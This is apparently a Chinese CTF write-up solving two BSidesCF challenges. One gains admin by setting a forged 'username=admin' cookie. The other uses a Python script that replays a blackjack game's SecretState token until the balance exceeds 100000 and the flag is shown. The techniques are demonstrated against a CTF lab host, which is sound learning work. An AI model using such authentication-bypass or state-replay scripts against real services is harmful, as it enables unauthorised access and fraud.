[BSidesCF 2019]Kookie and [BSidesCF 2020]Cards

知识点:cookie伪造

[BSidesCF 2019]Kookie

提示我们要以以admin身份登录,还告诉我们在cookie中,那答案呼之欲出。
[BSidesCF 2019]Kookie and [BSidesCF 2020]Cards_第1张图片
在cookie中加入username=admin
[BSidesCF 2019]Kookie and [BSidesCF 2020]Cards_第2张图片

[BSidesCF 2020]Cards

做题目之前先了解一下21点的规则:

二十一点玩法规则和概率在二十一点游戏中,拥有最高点数的玩家获胜,其点数必须等于或低于21点;超过21点的玩家称为爆牌。 2点至10点的牌以牌面的点数来相加,J、Q、K 每张为10点。 A可记为1点或为11点,若玩家会因A而爆牌则A可算为1点,若开牌就是21点,则直接获胜。

如下图k为10,A为11,相加为21,则显示Blackjack,直接获胜。
[BSidesCF 2019]Kookie and [BSidesCF 2020]Cards_第3张图片
每次请求都会产生一个SecretState,不管输赢,上一个请求的SecretState依旧存在,也就是说,我们可以不停的循环,一直保存赢的SecretState就可以了。

api为一盘的开始
在这里插入图片描述
开du
在这里插入图片描述
格式:
在这里插入图片描述

import requests

start = "http://214c8301-03ae-4eb3-8f55-4d9873b2a4e6.node4.buuoj.cn:81/api"
deal = start + "/deal"


# 开局
state = requests.post(start).json()["SecretState"]

while True:
    # 下注
    try:
        resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()
    except:
        continue

    if resp['GameState'] == 'Blackjack':
    #若游戏状态显示Blackjack则保存SecretState,以便接着来
        state = resp['SecretState']

    print(resp['Balance'])#余额
    if resp['Balance'] > 100000:#余额大于100000显示flag
        print(resp)
        break

在这里插入图片描述

你可能感兴趣的:(BUUCTF,爬虫,逻辑)